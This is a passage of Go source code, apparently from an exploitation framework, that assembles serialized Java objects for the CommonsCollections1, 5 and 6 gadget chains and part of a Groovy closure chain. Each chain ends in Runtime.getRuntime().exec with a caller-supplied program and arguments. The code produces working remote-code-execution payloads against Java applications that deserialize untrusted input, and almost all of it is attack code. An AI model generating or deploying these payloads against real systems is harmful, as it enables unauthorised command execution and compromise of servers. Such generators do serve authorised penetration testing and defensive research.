SuperClassDesc: TCClassDesc{ Name: "java.util.concurrent.locks.AbstractQueuedSynchronizer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x66, 0x55, 0xa8, 0x43, 0x75, 0x3f, 0x52, 0xe3}, Fields: []Field{ IntegerField{Name: "state"}, }, SuperClassDesc: TCClassDesc{ Name: "java.util.concurrent.locks.AbstractOwnableSynchronizer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x33, 0xdf, 0xaf, 0xb9, 0xad, 0x6d, 0x6f, 0xa9}, Fields: []Field{}, }, }, }, }, TCContents: []TCContent{ TCInteger{Value: 0}, // state }, } segment0.TCContents = []TCContent{ nonfairSync, TCFloat{Value: 0.75}, // loadFactor } segmentsArray.TCContents = append(segmentsArray.TCContents, segment0) for range 15 { segmentRef := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x20}}, } syncRef := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x24}}, TCContents: []TCContent{ TCInteger{Value: 0}, // state }, } segmentRef.TCContents = []TCContent{ syncRef, TCFloat{Value: 0.75}, // loadFactor } segmentsArray.TCContents = append(segmentsArray.TCContents, segmentRef) } concurrentHashMap.TCContents = []TCContent{ TCInteger{Value: 15}, // segmentMask TCInteger{Value: 28}, // segmentShift segmentsArray, TCNull{}, TCNull{}, TCEndBlockData{}, } convertedClosure.TCContents = []TCContent{ methodClosure, // delegate concurrentHashMap, // handleCache TCString{Value: "entrySet"}, // methodName } proxyMap.TCContents = []TCContent{ convertedClosure, } overrideClass := TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Override", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, } rootObject.TCContents = []TCContent{ proxyMap, overrideClass, } rootObjectBytes, ok := rootObject.ToBytes() if !ok { output.PrintfFrameworkError("Failed to convert rootObject into bytes") return []byte{}, false } finalObject = append(finalObject, rootObjectBytes...) return finalObject, true } // Generates the CommonsCollections6 gadget payload. func CreateCommonsCollections6(program string, args string) ([]byte, bool) { finalObject := []byte{} finalObject = append(finalObject, StreamMagicCode[:]...) finalObject = append(finalObject, StreamVersionCode...) rootObject := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.HashSet", SerialVersionUID: []byte{0xba, 0x44, 0x85, 0x95, 0x96, 0xb8, 0xb7, 0x34}, Flags: 0x03, Fields: []Field{}, }, } tiedMapEntry := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.keyvalue.TiedMapEntry", Flags: SCSerializableCode, SerialVersionUID: []byte{0x8a, 0xad, 0xd2, 0x9b, 0x39, 0xc1, 0x1f, 0xdb}, Fields: []Field{ ObjectField{ Name: "key", Value: "Ljava/lang/Object;", }, ObjectField{ Name: "map", Value: "Ljava/util/Map;", }, }, }, } lazyMap := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.map.LazyMap", SerialVersionUID: []byte{0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94}, Flags: 0x03, Fields: []Field{ ObjectField{ Name: "factory", Value: "Lorg/apache/commons/collections/Transformer;", }, }, }, } chainedTransformer := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.ChainedTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04}, Fields: []Field{ ArrayField{ Name: "iTransformers", Value: "[Lorg/apache/commons/collections/Transformer;", }, }, }, } transformersArray := TCArray{ InfoContent: TCClassDesc{ Name: "[Lorg.apache.commons.collections.Transformer;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99}, Fields: []Field{}, }, } transformer0 := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.ConstantTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94}, Fields: []Field{ ObjectField{ Name: "iConstant", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x03}}, }, }, }, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Runtime", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, }, }, } transformer1 := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.InvokerTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38}, Fields: []Field{ ArrayField{Name: "iArgs", Value: "[Ljava/lang/Object;"}, ObjectField{Name: "iMethodName", Value: "Ljava/lang/String;"}, ArrayField{Name: "iParamTypes", Value: "[Ljava/lang/Class;"}, }, }, } iArgs1 := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.Object;", Flags: SCSerializableCode, SerialVersionUID: []byte{0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c}, Fields: []Field{}, }, TCContents: []TCContent{ TCString{Value: "getRuntime"}, TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.Class;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99}, Fields: []Field{}, }, TCContents: []TCContent{}, }, }, } iParamTypes1 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.String", Flags: SCSerializableCode, SerialVersionUID: []byte{0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42}, Fields: []Field{}, }, }, TCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}}, }, } transformer1.TCContents = append(transformer1.TCContents, iArgs1) transformer1.TCContents = append(transformer1.TCContents, TCString{Value: "getMethod"}) transformer1.TCContents = append(transformer1.TCContents, iParamTypes1) transformer2 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x13}}, } iArgs2 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x18}}, TCContents: []TCContent{ TCNull{}, TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x18}}, TCContents: []TCContent{}, }, }, } iParamTypes2 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Object", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, }, TCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x18}}}, }, } transformer2.TCContents = append(transformer2.TCContents, iArgs2) transformer2.TCContents = append(transformer2.TCContents, TCString{Value: "invoke"}) transformer2.TCContents = append(transformer2.TCContents, iParamTypes2) transformer3 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x13}}, } iArgs3 := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.String;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47}, Fields: []Field{}, }, TCContents: []TCContent{ TCString{Value: fmt.Sprintf("%s %s", program, args)}, }, } iParamTypes3 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}, TCContents: []TCContent{ TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x20}}, }, } transformer3.TCContents = append(transformer3.TCContents, iArgs3) transformer3.TCContents = append(transformer3.TCContents, TCString{Value: "exec"}) transformer3.TCContents = append(transformer3.TCContents, iParamTypes3) transformer4 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0f}}, } integerOne := TCObject{ InfoContent: TCClassDesc{ Name: "java.lang.Integer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38}, Fields: []Field{ IntegerField{Name: "value"}, }, SuperClassDesc: TCClassDesc{ Name: "java.lang.Number", Flags: SCSerializableCode, SerialVersionUID: []byte{0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b}, Fields: []Field{}, }, }, TCContents: []TCContent{ TCInteger{Value: 1}, }, } transformer4.TCContents = append(transformer4.TCContents, integerOne) transformersArray.TCContents = []TCContent{ transformer0, transformer1, transformer2, transformer3, transformer4, } chainedTransformer.TCContents = []TCContent{transformersArray} hashMap := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.HashMap", SerialVersionUID: []byte{0x05, 0x07, 0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1}, Flags: 0x03, Fields: []Field{ FloatField{Name: "loadFactor"}, IntegerField{Name: "threshold"}, }, }, TCContents: []TCContent{ TCFloat{Value: 0.75}, TCInteger{Value: 0}, TCBlockData{Value: "\x00\x00\x00\x10\x00\x00\x00\x00"}, TCEndBlockData{}, }, } lazyMap.TCContents = []TCContent{ chainedTransformer, hashMap, TCEndBlockData{}, } tiedMapEntry.TCContents = []TCContent{ TCString{Value: "foo"}, lazyMap, } rootObject.TCContents = []TCContent{ TCBlockData{Value: "\x00\x00\x00\x02\x3f\x40\x00\x00\x00\x00\x00\x01", OmitEnd: true}, tiedMapEntry, } // Slap it all together rootObjectBytes, ok := rootObject.ToBytes() if !ok { return []byte{}, false } finalObject = append(finalObject, rootObjectBytes...) return finalObject, true } // Generates the CommonsCollections5 gadget payload. func CreateCommonsCollections5(program string, args string) ([]byte, bool) { finalObject := []byte{} finalObject = append(finalObject, StreamMagicCode[:]...) finalObject = append(finalObject, StreamVersionCode...) rootObject := TCObject{} rootInfoContent := TCClassDesc{ Name: "javax.management.BadAttributeValueExpException", Flags: SCSerializableCode, SerialVersionUID: []byte{0xd4, 0xe7, 0xda, 0xab, 0x63, 0x2d, 0x46, 0x40}, Fields: []Field{ ObjectField{ Name: "val", Value: "Ljava/lang/Object;", }, }, SuperClassDesc: TCClassDesc{ Name: "java.lang.Exception", Flags: SCSerializableCode, SerialVersionUID: []byte{0xd0, 0xfd, 0x1f, 0x3e, 0x1a, 0x3b, 0x1c, 0xc4}, Fields: []Field{}, SuperClassDesc: TCClassDesc{ Name: "java.lang.Throwable", SerialVersionUID: []byte{0xd5, 0xc6, 0x35, 0x27, 0x39, 0x77, 0xb8, 0xcb}, Flags: 0x03, Fields: []Field{ ObjectField{ Name: "cause", Value: "Ljava/lang/Throwable;", }, ObjectField{ Name: "detailMessage", Value: "Ljava/lang/String;", }, ArrayField{ Name: "stackTrace", Value: "[Ljava/lang/StackTraceElement;", }, ObjectField{ Name: "suppressedExceptions", Value: "Ljava/util/List;", }, }, }, }, } rootObject.InfoContent = rootInfoContent causeSelfRef := TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x08}} detailMessage := TCNull{} stackTraceArray := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.StackTraceElement;", Flags: SCSerializableCode, SerialVersionUID: []byte{0x02, 0x46, 0x2a, 0x3c, 0x3c, 0xfd, 0x22, 0x39}, Fields: []Field{}, }, } stackTrace1 := TCObject{ InfoContent: TCClassDesc{ Name: "java.lang.StackTraceElement", Flags: SCSerializableCode, SerialVersionUID: []byte{0x61, 0x09, 0xc5, 0x9a, 0x26, 0x36, 0xdd, 0x85}, Fields: []Field{ IntegerField{Name: "lineNumber"}, ObjectField{Name: "declaringClass", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}}, ObjectField{Name: "fileName", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}}, ObjectField{Name: "methodName", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}}, }, }, TCContents: []TCContent{ TCInteger{Value: 81}, TCString{Value: "ysoserial.payloads.CommonsCollections5"}, TCString{Value: "CommonsCollections5.java"}, TCString{Value: "getObject"}, }, } stackTrace2 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}, TCContents: []TCContent{ TCInteger{Value: 51}, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0d}}, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0e}}, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0f}}, }, } stackTrace3 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x0b}}, TCContents: []TCContent{ TCInteger{Value: 34}, TCString{Value: "ysoserial.GeneratePayload"}, TCString{Value: "GeneratePayload.java"}, TCString{Value: "main"}, }, } stackTraceArray.TCContents = append(stackTraceArray.TCContents, stackTrace1) stackTraceArray.TCContents = append(stackTraceArray.TCContents, stackTrace2) stackTraceArray.TCContents = append(stackTraceArray.TCContents, stackTrace3) suppressedExceptions := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.Collections$UnmodifiableList", Flags: SCSerializableCode, SerialVersionUID: []byte{0xfc, 0x0f, 0x25, 0x31, 0xb5, 0xec, 0x8e, 0x10}, Fields: []Field{ ObjectField{ Name: "list", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x07}}, }, }, SuperClassDesc: TCClassDesc{ Name: "java.util.Collections$UnmodifiableCollection", Flags: SCSerializableCode, SerialVersionUID: []byte{0x19, 0x42, 0x00, 0x80, 0xcb, 0x5e, 0xf7, 0x1e}, Fields: []Field{ ObjectField{ Name: "c", Value: "Ljava/util/Collection;", }, }, }, }, } arrayList := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.ArrayList", SerialVersionUID: []byte{0x78, 0x81, 0xd2, 0x1d, 0x99, 0xc7, 0x61, 0x9d}, Flags: 0x03, Fields: []Field{ IntegerField{Name: "size"}, }, }, TCContents: []TCContent{ TCInteger{Value: 0}, TCBlockData{Value: "\x00\x00\x00\x00"}, }, } suppressedExceptions.TCContents = append(suppressedExceptions.TCContents, arrayList) suppressedExceptions.TCContents = append(suppressedExceptions.TCContents, TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1a}}) tiedMapEntry := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.keyvalue.TiedMapEntry", Flags: SCSerializableCode, SerialVersionUID: []byte{0x8a, 0xad, 0xd2, 0x9b, 0x39, 0xc1, 0x1f, 0xdb}, Fields: []Field{ ObjectField{ Name: "key", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x01}}, }, ObjectField{ Name: "map", Value: "Ljava/util/Map;", }, }, }, } lazyMap := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.map.LazyMap", SerialVersionUID: []byte{0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94}, Flags: 0x03, Fields: []Field{ ObjectField{ Name: "factory", Value: "Lorg/apache/commons/collections/Transformer;", }, }, }, } chainedTransformer := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.ChainedTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04}, Fields: []Field{ ArrayField{ Name: "iTransformers", Value: "[Lorg/apache/commons/collections/Transformer;", }, }, }, } transformersArray := TCArray{ InfoContent: TCClassDesc{ Name: "[Lorg.apache.commons.collections.Transformer;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99}, Fields: []Field{}, }, } transformer0 := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.ConstantTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94}, Fields: []Field{ ObjectField{ Name: "iConstant", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x01}}, }, }, }, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Runtime", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, }, }, } transformer1 := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.InvokerTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38}, Fields: []Field{ ArrayField{Name: "iArgs", Value: "[Ljava/lang/Object;"}, ObjectField{Name: "iMethodName", Value: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x05}}}, ArrayField{Name: "iParamTypes", Value: "[Ljava/lang/Class;"}, }, }, } iArgs1 := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.Object;", Flags: SCSerializableCode, SerialVersionUID: []byte{0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c}, Fields: []Field{}, }, TCContents: []TCContent{ TCString{Value: "getRuntime"}, TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.Class;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99}, Fields: []Field{}, }, TCContents: []TCContent{}, }, }, } iParamTypes1 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}}, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.String", Flags: SCSerializableCode, SerialVersionUID: []byte{0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42}, Fields: []Field{}, }, }, TCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}}}, }, } transformer1.TCContents = append(transformer1.TCContents, iArgs1) transformer1.TCContents = append(transformer1.TCContents, TCString{Value: "getMethod"}) transformer1.TCContents = append(transformer1.TCContents, iParamTypes1) transformer2 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2b}}, } iArgs2 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2f}}, TCContents: []TCContent{ TCNull{}, TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2f}}, TCContents: []TCContent{}, }, }, } iParamTypes2 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}}, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Object", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, }, TCClass{InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2f}}}, }, } transformer2.TCContents = append(transformer2.TCContents, iArgs2) transformer2.TCContents = append(transformer2.TCContents, TCString{Value: "invoke"}) transformer2.TCContents = append(transformer2.TCContents, iParamTypes2) transformer3 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x2b}}, } iArgs3 := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.String;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47}, Fields: []Field{}, }, TCContents: []TCContent{ TCString{Value: fmt.Sprintf("%s %s", program, args)}, }, } iParamTypes3 := TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x32}}, TCContents: []TCContent{ TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x37}}, }, } transformer3.TCContents = append(transformer3.TCContents, iArgs3) transformer3.TCContents = append(transformer3.TCContents, TCString{Value: "exec"}) transformer3.TCContents = append(transformer3.TCContents, iParamTypes3) transformer4 := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x27}}, } integerOne := TCObject{ InfoContent: TCClassDesc{ Name: "java.lang.Integer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38}, Fields: []Field{ IntegerField{Name: "value"}, }, SuperClassDesc: TCClassDesc{ Name: "java.lang.Number", Flags: SCSerializableCode, SerialVersionUID: []byte{0x86, 0xac, 0x95, 0x1d, 0x0b, 0x94, 0xe0, 0x8b}, Fields: []Field{}, }, }, TCContents: []TCContent{ TCInteger{Value: 1}, }, } transformer4.TCContents = append(transformer4.TCContents, integerOne) transformersArray.TCContents = append(transformersArray.TCContents, transformer0) transformersArray.TCContents = append(transformersArray.TCContents, transformer1) transformersArray.TCContents = append(transformersArray.TCContents, transformer2) transformersArray.TCContents = append(transformersArray.TCContents, transformer3) transformersArray.TCContents = append(transformersArray.TCContents, transformer4) chainedTransformer.TCContents = append(chainedTransformer.TCContents, transformersArray) hashMap := TCObject{ InfoContent: TCClassDesc{ Name: "java.util.HashMap", SerialVersionUID: []byte{0x05, 0x07, 0xda, 0xc1, 0xc3, 0x16, 0x60, 0xd1}, Flags: 0x03, Fields: []Field{ FloatField{Name: "loadFactor"}, IntegerField{Name: "threshold"}, }, }, TCContents: []TCContent{ TCFloat{Value: 0.75}, TCInteger{Value: 0}, TCBlockData{Value: "\x00\x00\x00\x10\x00\x00\x00\x00"}, TCEndBlockData{}, }, } lazyMap.TCContents = append(lazyMap.TCContents, chainedTransformer) lazyMap.TCContents = append(lazyMap.TCContents, hashMap) tiedMapEntry.TCContents = append(tiedMapEntry.TCContents, TCString{Value: "foo"}) tiedMapEntry.TCContents = append(tiedMapEntry.TCContents, lazyMap) // put the pieces into the root object rootObject.TCContents = append(rootObject.TCContents, causeSelfRef) rootObject.TCContents = append(rootObject.TCContents, detailMessage) rootObject.TCContents = append(rootObject.TCContents, stackTraceArray) rootObject.TCContents = append(rootObject.TCContents, suppressedExceptions) rootObject.TCContents = append(rootObject.TCContents, TCEndBlockData{}) rootObject.TCContents = append(rootObject.TCContents, tiedMapEntry) // Finalize rootObjectBytes, ok := rootObject.ToBytes() if !ok { return []byte{}, false } finalObject = append(finalObject, rootObjectBytes...) return finalObject, true } // Generates the CommonsCollections1 gadget payload. func CreateCommonsCollections1(program string, args string) ([]byte, bool) { finalObject := []byte{} finalObject = append(finalObject, StreamMagicCode[:]...) finalObject = append(finalObject, StreamVersionCode...) // RootObject rootObject := TCObject{} // RootObject.InfoContent rootInfoContent := TCClassDesc{ Name: "sun.reflect.annotation.AnnotationInvocationHandler", Flags: SCSerializableCode, SerialVersionUID: []byte{0x55, 0xca, 0xf5, 0x0f, 0x15, 0xcb, 0x7e, 0xa5}, Fields: []Field{ ObjectField{ Name: "memberValues", Value: "Ljava/util/Map;", }, ObjectField{ Name: "type", Value: "Ljava/lang/Class;", }, }, } rootObject.InfoContent = rootInfoContent // objectOne, in order from top to bottom, one being the top, least nested, and the highest object being the most nested tcObjectOne := TCObject{ InfoContent: TCProxyClassDesc{ Interfaces: []string{"java.util.Map"}, SuperClassDesc: TCClassDesc{ Name: "java.lang.reflect.Proxy", Flags: SCSerializableCode, SerialVersionUID: []byte{0xe1, 0x27, 0xda, 0x20, 0xcc, 0x10, 0x43, 0xcb}, Fields: []Field{ ObjectField{ Name: "h", Value: "Ljava/lang/reflect/InvocationHandler;", }, }, }, }, } // objectTwo member of objectOne contents tcObjectTwo := TCObject{ InfoContent: TCReference{ Handler: []byte{0x00, 0x7e, 0x00, 0x00}, }, } // objectThree member of objectTwo contents tcObjectThree := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.map.LazyMap", SerialVersionUID: []byte{0x6e, 0xe5, 0x94, 0x82, 0x9e, 0x79, 0x10, 0x94}, Flags: 0x03, Fields: []Field{ ObjectField{ Name: "factory", Value: "Lorg/apache/commons/collections/Transformer;", }, }, }, } // objectFour member of objectThree contents tcObjectFour := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.ChainedTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x30, 0xc7, 0x97, 0xec, 0x28, 0x7a, 0x97, 0x04}, Fields: []Field{ ArrayField{ Name: "iTransformers", Value: "[Lorg/apache/commons/collections/Transformer;", }, }, }, } // tcArrayOne member of objectFour contents tcArrayOne := TCArray{ InfoContent: TCClassDesc{ Name: "[Lorg.apache.commons.collections.Transformer;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xbd, 0x56, 0x2a, 0xf1, 0xd8, 0x34, 0x18, 0x99}, Fields: []Field{}, }, } // objectFive member of tcArrayOne values (values because it's an array) (1 of 5) tcObjectFive := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.ConstantTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xb1, 0x94}, Fields: []Field{ ObjectField{ Name: "iConstant", Value: "Ljava/lang/Object;", }, }, }, } // tcClassOne member of objectFive contents tcClassOne := TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Runtime", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, } // objectSix member of tcArrayOne values (2 of 5) tcObjectSix := TCObject{ InfoContent: TCClassDesc{ Name: "org.apache.commons.collections.functors.InvokerTransformer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x87, 0xe8, 0xff, 0x6b, 0x7b, 0x7c, 0xce, 0x38}, Fields: []Field{ ArrayField{ Name: "iArgs", Value: "[Ljava/lang/Object;", }, ObjectField{ Name: "iMethodName", Value: "Ljava/lang/String;", }, ArrayField{ Name: "iParamTypes", Value: "[Ljava/lang/Class;", }, }, }, } // tcArrayTwo member of tcObjectSix (1 of 3) tcArrayTwo := TCArray{ // iArgs InfoContent: TCClassDesc{ Name: "[Ljava.lang.Object;", SerialVersionUID: []byte{0x90, 0xce, 0x58, 0x9f, 0x10, 0x73, 0x29, 0x6c}, Flags: SCSerializableCode, Fields: []Field{}, }, TCContents: []TCContent{ TCString{Value: "getRuntime"}, TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.Class;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xab, 0x16, 0xd7, 0xae, 0xcb, 0xcd, 0x5a, 0x99}, Fields: []Field{}, }, }, }, } // tcStringOne member of tcObjectSix (2 of 3) tcStringOne := TCString{Value: "getMethod"} // iMethodName // tcArrayThree member of tcObjectSix (3 of 3) tcArrayThree := TCArray{ // iArgs InfoContent: TCReference{ Handler: []byte{0x00, 0x7e, 0x00, 0x1e}, }, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.String", Flags: SCSerializableCode, SerialVersionUID: []byte{0xa0, 0xf0, 0xa4, 0x38, 0x7a, 0x3b, 0xb3, 0x42}, Fields: []Field{}, }, }, TCClass{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1e}}, }, }, } // tcObjectSeven member of tcArrayOne values (3 of 5) tcObjectSeven := TCObject{ InfoContent: TCReference{ Handler: []byte{0x00, 0x7e, 0x00, 0x16}, }, } // tcArrayFour member of tcObjectSeven members tcArrayFour := TCArray{ // iArgs InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}, TCContents: []TCContent{ TCNull{}, TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}, TCContents: []TCContent{}, }, }, } // tcStringTwo member of tcObjectSeven members tcStringTwo := TCString{Value: "invoke"} // iMethodName // tcArrayFive member of tcObjectSeven members tcArrayFive := TCArray{ // iParamTypes InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1e}}, TCContents: []TCContent{ TCClass{ InfoContent: TCClassDesc{ Name: "java.lang.Object", SerialVersionUID: []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, Flags: 0x00, Fields: []Field{}, }, }, TCClass{TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1b}}}, }, } // tcObjectEight member of tcArrayOne values (4 of 5) tcObjectEight := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x16}}, } // tcArraySix member of tcObjectEight values tcArraySix := TCArray{ InfoContent: TCClassDesc{ Name: "[Ljava.lang.String;", Flags: SCSerializableCode, SerialVersionUID: []byte{0xad, 0xd2, 0x56, 0xe7, 0xe9, 0x1d, 0x7b, 0x47}, Fields: []Field{}, }, TCContents: []TCContent{ TCString{Value: fmt.Sprintf("%s %s", program, args)}, }, } tcObjectEight.TCContents = append(tcObjectEight.TCContents, tcArraySix) tcObjectEight.TCContents = append(tcObjectEight.TCContents, TCString{Value: "exec"}) tcObjectEight.TCContents = append(tcObjectEight.TCContents, TCArray{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x1e}}, TCContents: []TCContent{ TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x23}}, }, }, ) // tcObjectNine member of tcArrayOne values (5 of 5) tcObjectNine := TCObject{ InfoContent: TCReference{Handler: []byte{0x00, 0x7e, 0x00, 0x11}}, } // tcObjectTen member of tcObjectNine tcObjectTen := TCObject{ InfoContent: TCClassDesc{ Name: "java.lang.Integer", Flags: SCSerializableCode, SerialVersionUID: []byte{0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38}, Fields: []Field{ IntegerField{Name: 